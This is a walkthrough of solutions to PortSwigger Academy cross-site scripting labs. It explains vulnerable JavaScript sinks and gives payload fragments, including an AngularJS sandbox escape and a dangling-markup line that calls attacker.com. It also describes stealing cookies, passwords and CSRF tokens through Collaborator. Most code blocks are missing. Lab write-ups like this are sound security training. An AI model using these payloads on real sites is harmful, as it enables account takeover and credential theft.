Cross-Site Scripting (XSS) (Labs: Portswigger Academy)
Little Refresher
There are three main types of XSS attacks. These are:
Reflected XSS, where the malicious script comes from the current HTTP request.
Stored XSS, where the malicious script comes from the website's database.
DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.
Labs from PortSwigger Academy
🟩🟩APPRENTICE LAB🟩🟩
Lab 1: Reflected XSS into HTML context with nothing encoded
This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert function.
vulnerable search request:
https://0a6c00260467044d85d8ea36004700cc.web-security-academy.net/?search=<sushil>passed search string is reflected
Viewing page source reveals, special character are not encoded.
xss payload
page source:
Lab 2: Stored XSS into HTML context with nothing encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is viewed.
vulnerable request:
page source:
name is encoded but comment section is not encoded
xss payload
page source:
Lab 3: DOM XSS in document.write sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.
To solve this lab, perform a cross-site scripting attack that calls the alert function.
vulnerable request:
The passed value is used in two places.
properly encoded here.
next is:
due to the use of following script.
which means, the passed search parameter is used in <img> tag without encoding.
XSS Payload
this makes the final implemented script as:
Lab 4: DOM XSS in innerHTML sink using source location.search
This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
To solve this lab, perform a cross-site scripting attack that calls the alert function.
vulnerable code:
explaination:
var query = (new URLSearchParams(...)).get('search') gets the value of search
From URL ?search=hello → query = "hello"
if(query) checks if search exists
Prevents error if no search
doSearchQuery(query) passes "hello" to function
Function receives "hello"
innerHTML = query puts "hello" inside <span id="searchMessage">
Replaces content
In conclusion, what ever is passed in to search query, it is passed and filled inside span tag.
XSS payload for span tag.
<script>alert(0)</script> will NOT work when injected into a <span> via innerHTML.
Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source
This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.
To solve this lab, make the "back" link alert document.cookie.
vulnerable code:
explanation of code:
this jQuery is fired once the site is fully loaded.
$('#backLink')--> jQuery searches the DOM for an element withid="backLink"(new URLSearchParams(window.location.search)).get('returnPath')--> extracts the value of returnPath from url.$('#backLink').attr("href", {value from above step})--><a id="backLink">element now receives a new href.
So, in conclusion, this code takes the value of returnPath from the URL and sets it as the href (destination) of the <a id="backLink"> link.
before: <a id="backLink" >Back</a>
after: <a id="backLink" href="/">Back</a>
xss payload:
final form of html after xss injection.
Why "</a> <script>alert(0)</script><" wont work.
You are not injecting into .innerHTML or .html()
You are setting the href attribute
So the browser treats your payload as a URL, not HTML
Lab 6: DOM XSS in jQuery selector sink using a hashchange event
This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.
To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.
vulnerable code:
code explanation:
when URL hash changes (e.g.
#POST1), automatically scroll to the blog post with matching<h2>title.$(window).on('hashchange', function() { ... });-->listens for change in URL hashwindow.location.hash → "#Hello-World"window.location.hash.slice(1) → "Hello-World"decodeURIComponent("Hello%20World") → "Hello World"$('section.blog-list h2:contains("Hello World")')jQuery selectory finds
<h2>tagsinside
<section class="blog-list">Whose text contains
"Hello World"
var post = $('...');--> stores the jQuery object of the matching<h2>tagif (post) post.get(0).scrollIntoView();--> if there exist data in post variable then it scrolls to that part.
In conclusion, it captures the content of # from URL (on change), finds if that content presence in <h2> tag inside blog-list section. after that it scrolls to that section.
XSS payload
how this payload works.
Browser detects the hash change from
randomto<img src=1 onerror=alert(1)>so,on('hashchange')is triggereddecodeURIComponent(window.location.hash.slice(1))captures, slices and URL decodes the value after#Final selector:
$('section.blog-list h2:contains(<img src=1 onerror=alert(1)>)')jQuery’s Sizzle engine tries to evaluate the selector. It misinterprets the
<img...>as HTML to inject into a temporary DOM context to "search" for matches.
Sizzle's internal process (BUGGY behavior):
Parse the selector: h2:contains
(<img src=1 onerror=alert(1)>)Sees <img...> and thinks: "Oh! This looks like HTML!"
Instead of treating it as a literal string, Sizzle creates a temporary DOM with:
<div><img src=1 onerror=print(1)></div>Tries to "search" for
<h2>elements that contain this HTML. and XSS executes during this temporary DOM creation! This is due to vulnerability in jQuery Version.
For the xss payload to trigger there need to be hashchange. For victim this can be achieved using iframe
Lab 7: Reflected XSS into attribute with angle brackets HTML-encoded
This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.
for search term <sushil>
both
< and >are url encoded, but the supplied data is reflected inside attribute.
for search term "sushil"
"is not encoded.
XSS payload by introducing new attribute.

Lab 8: Stored XSS into anchor href attribute with double quotes HTML-encoded
This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.
vulnerable point.
passed website url's " is HTML-encoded
xss payload
Lab 9: Reflected XSS into a JavaScript string with angle brackets HTML encoded
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
when search parameter is passed as <"sushil">
from the passed value, < and > are HTML encoded, but ' and " are not encoded.
XSS Payload
this payload will edit the script tag as:
alternative xss payload:
other payload
🟦🟦PRACTITIONER LABS🟦🟦
Lab 10: DOM XSS in document.write sink using source location.search inside a select element
This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.
Vulnerable Code:
code explanation:
var store = (new URLSearchParams(window.location.search)).get('storeId');--> gets the value of storeId from the URL.document.write('<select name="storeId">');--> start writing the dropdown HTMLif (store) { document.write('<option selected>' + store + '</option>'); }--> if store exist , adds pre-selected option with the valueselected→ this option appears chosen by default
forloop → Add remaining optionsLoops through all stores
Skips the one already added (if store exists)
Adds each as an
<option>
document.write('</select>');--> closes the dropdown
Final Output Example: Example 1: URL = ?storeId=Paris
OUTPUT
XSS Payload:
In URL:
Lab 11: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.
To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.

keythings
use passed
< and >are html encodedangular js is used
ng-appattribute is added to body element. This means in anywhere within the body HTML element we are able to execute Javascript using{{ }}
for example:

but we cannot use {{alert()}} or {{print()}} because angularJS javascript sandbox doesnot give us access to these type of functions with in double curly braces.
XSS payload:
Watch this to better understand: https://youtu.be/P7_JPsX1ses
Lab 12: Reflected DOM XSS
This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.
To solve this lab, create an injection that calls the alert() function.

there is use of searchResults.js viewing the js file reveals the use of eval function

after we do search, there exits additional request which gives json response

combining everything.
from the request /search-results?search=sushil the response value searchTerm is passed onto the eval function of searchResults.js

JSON response is escaping "
The main idea here is to get something like this in eval function;
so we need a way to escape the " "

" is escaped

\ is escaping \ so " is free

XSS Payload
Lab 13: Stored DOM XSS
This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.
XSS Payload:

Actual method:
there exist
resources/js/loadCommentsWithVulnerableEscapeHtml.jsthis js file is responsible for HTML encoding
<and>


there exist a loophole, it only encodes the 1st instances of the angle brackets

which means, we can use this payload to get xss
Lab 14: Reflected XSS into HTML context with most tags and attributes blocked
This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.
To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.
when trying common xss payloads it gives Tag is not allowed.


lets bruteforce the tags. Get tags from here


two tags <body> and <custom tags> are allowed
lets move on with <body> tag. next step is to find which events are allowed


there a lot of allowed events. since we need to trigger xss without victim's interaction, we need to choose proper event tag. onresize looks easy one.
XSS payload
Lab 15: Reflected XSS into HTML context with all tags blocked except custom ones
This lab blocks all HTML tags except custom ones.
To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.
same as previous lab. only difference is all tags are blocked except custom ones.
XSS Payload
location = "..."is a special assignment in JavaScript that immediately redirects the browser to the given URL.
Lab 16: Reflected XSS with some SVG markup allowed
This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.
To solve the lab, perform a cross-site scripting attack that calls the alert() function.
Same as previous 2 labs:
allowed tags:

working xss payload;
Lab 17: Reflected XSS in canonical link tag
This lab reflects user input in a canonical link tag and escapes angle brackets.
To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.
To assist with your exploit, you can assume that the simulated user will press the following key combinations:
ALT+SHIFT+XCTRL+ALT+XAlt+X
Please note that the intended solution to this lab is only possible in Chrome.
A canonical tag (also known as a rel="canonical" link tag) is an HTML element used in the <head> section of a webpage to specify the preferred (canonical) version of a page when multiple URLs display the same or nearly identical content. Syntax:
Example Scenario
You have the same product page accessible via multiple URLs:
https://example.com/shoes/nike-airhttps://example.com/shoes/nike-air?color=redhttps://example.com/shoes/nike-air?utm_source=newsletterThis tells Google: "Index and rank the clean URL, ignore the others."

XSS Payload
space was url encoded so url encoded version of new line
%09is used
The link tag becomes

Lab 18: Reflected XSS into a JavaScript string with single quote and backslash escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.
To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
lets say we search query is <sushil>, it is reflected as

when ';alert(0); is supplied, ' is escaped

XSS Payload

Lab 19: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.
To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.
Findings
Angle brackets --> HTML encoded
Double quotes --> HTML encoded
Single quotes --> Escaped

for search query <'sushil'> angle brackets are encoded and ' are escaped.
XSS Payload

Lab 20: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

we are interested in onclick portion
trying to make this
due to encoding and escaping, it becomes

trying additional \ to bypass ' escape fails.

lets bypass 'escape using its HTML entity version
' --> HTML Entity --> '
XSS PAYLOAD


lets understand the flow of xss
after injection:
'http://test'
→ String
-
→ Subtraction operator
alert(0)
→ Runs immediately, shows popup, returns undefined
-
→ Another subtraction
''
→ Empty string → 0 in math
Why this works: The key trick
-alert(0)-
Uses mathematical subtraction to inject executable code
No need to close quotes
You're already inside a string — ' is just a character
alert(0) returns undefined
Perfect for math: string - undefined = NaN → no error
No syntax break
The expression is grammatically valid JS
Lab 21: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.

search query is passed with unicode escaped.
string has been reflected inside a JavaScript template string.
First lets understand ` Template Literals in JavaScript
Basic Syntax
Regular string
`Hello World`
"Hello World"
With variables
`Hello ${name}`
"Hello John" (if name = "John")
Multi-line
`Line 1<br>Line 2`
"Line 1\nLine 2"
Expression Interpolation
`2 + 2 = ${2 + 2}`
"2 + 2 = 4"
`User: ${user.name}, Age: ${user.age}`
"User: John, Age: 30"
`Price: ${price * quantity}`
"Price: $150"
`${alert('XSS!')}`
Runs alert() and returns "undefined"
XSS Payload

Lab 22: Exploiting cross-site scripting to steal cookies
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.
Finding out the XSS vuln:

user supplied data are passed as above. comment section look vulnerable.
XSS Payload.

now editing the xss payload to capture cookie.
In Collaborator, we will receive session cookie like this:

use that cookie and we are logged in.
Lab 23: Exploiting cross-site scripting to capture passwords
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account.

same as before, xss vulnerable field = comment
checking xss;
editing payload to capture password. previous cookie stealing method wont work here.
Explanation:
we are setting up username and password fields.
onchange--> js runs when the password field loses focus(after typing)if(this.value.lenght--> checks if the password value is empty or not. if not then moves to next step.fetch--> sends post request to out controlled serverno-cors--> is making this request send to attacker site and not care or not take the response of that requestbody:username.value+':'+this.value--> Sends:username:password
after commenting, we get this:

username and password fields.
and we should get username:password in collaborator request:

Lab 24: Exploiting XSS to bypass CSRF defenses
This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.
You can log in to your own account using the following credentials: wiener:peter
Same as before, Comment is vulnerable to XSS. Session is set as
HttpOnlytrue so we cannot steal the cookie.
Checkout my notes on CSRF if you are new.
request for changing email:
Now we need to think of a way to get the csrf token.

csrf token is present in /my-account endpoint
lets craft a simple xss payload that fetches /my-account and extracts the csrf token and sends to our controlled site (burp collaborator)

got the csrf. Now using burpsuite > Engagement Tool > generate csrf poc

paste this into comment.

Lab 25: Reflected XSS with AngularJS sandbox escape without strings
This lab uses AngularJS in an unusual way where the $eval function is not available and you will be unable to use any strings in AngularJS.
To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert function without using the $eval function.

Passed search query <"sushil"> is interpreted as above.
Easy explanation of the code:
It creates a box (
$scope.query) to hold data.It puts a dangerous string (<"sushil">) into that box under the name search.
Then it reads that value back using
$parse. What is $parse?$parse is like a magic reader.
It can read values from objects or even run code if the input is tricky.
Normally safe... but can be abused.
→ This says: "Run whatever key is as an expression!"
If key is...
Then $parse(key)(...) does...
'search'
Gets the value of query.search
'user.name'
Gets query.user.name
'search + $eval("alert(1)")'
Runs alert(1)!
Working payload from here.
explanation of code: PART 1:
toString().constructor.prototype.charAt = [].join;.charAtA method that gets a character from a string=[].joinjoin = turns array into string(like [a,b] → "a,b")This piece of code replaces
charAtwithjoin, now when something calls.charAt(), it actually runs.join()
In angular js sandbox, input is checked using .charAt , breaking whole input into character. Each character is checked if its malicious or not. Using above function, we are effectively destroying the checking function.
PART 2:
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)orderBycan run a function (eg:alert(0))fromCharCode(120,61,97,108,101,114,116,40,49,41)--> the numbers here are decimal representation ofx=alert(1), sofromCharCodefunction if converting decimal to ascii
Final Magic (How It Becomes alert(1))
toString().constructor→ Function.fromCharCode(...)→ builds string:"x=alert(1)"orderBytries to sort[1,2]→ calls.charAton eachBut
.charAtis now .join → so it joins the arrayAngular sees
x=alert(1) → assignsx = alert(1)x()→ runsalert(1) → POPUP
Works Only In:
AngularJS < 1.6 (sandbox was removed in 1.6+)
FURTHER TESTING

?search=1&2%2b2=1 --> ?search=1&2+2=1 <-->(%2b = +)( url decoded)
$scope.value = $parse(key)($scope.query);-->$parse("search=1&2+2=1")($scope.query)
AngularJS $parse is SUPER SMART:
Normal: $parse("search") → gets query.search
Magic: $parse("2+2") → calculates 4!
Your case: $parse("search=1&2+2=1") → evaluates the whole expression
WHY =1 is used $parse("search=1&2+2=1")($scope)
query.search = 1→ ignored (not used)2+2=1→ tries to assign → fails, but returns 4Final result = 4 → shown on page!
FINAL XSS Payload
Lab 26: Reflected XSS protected by very strict CSP, with dangling markup attack
This lab uses a strict CSP that prevents the browser from loading subresources from external domains.
To solve the lab, perform a form hijacking attack that bypasses the CSP, exfiltrates the simulated victim user's CSRF token, and uses it to authorize changing the email to hacker@evil-user.net.
You must label your vector with the word "Click" in order to induce the simulated user to click it. For example:
<a href="">Click me</a>
You can log in to your own account using the following credentials: wiener:peter
request to change email:

Lets understand Dangling Markup Attack "Dangling" = unfinished / hanging "Markup" = HTML tags like
Real Example (Step-by-Step)
No escaping of " or >
STEP 1: "><script>alert(1)</script> --> Blocked by filter or CSP
STEP 2: "><img src='//attacker.com/log? final html becomes
lets say page continues with secret data:
→ Browser keeps reading until it finds the next '
The request it will send to the attacker site will be like this (in URL encoded form):
Hence we get the sensitive csrf token. lets implement this theory
STEP 1: Finding point XSS Vulnerability https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account?id=wiener

This endpoint my-account?id=wiener shows account information. When we pass additional parameter email, it pre fills the email in update email section.


if we pass this value " ><script>alert(0)</script>

editing form to send data to our server:

Explanation:
We are creating new form which sends the data to our controlled server.
The data present inside our newly created form is
csrfvalue.So, it sends get request with the
csrfvalue to our server
Now sending this to victim.

We now have csrf token.

Using burp pro we can create CSRF poc in seconds.
Last updated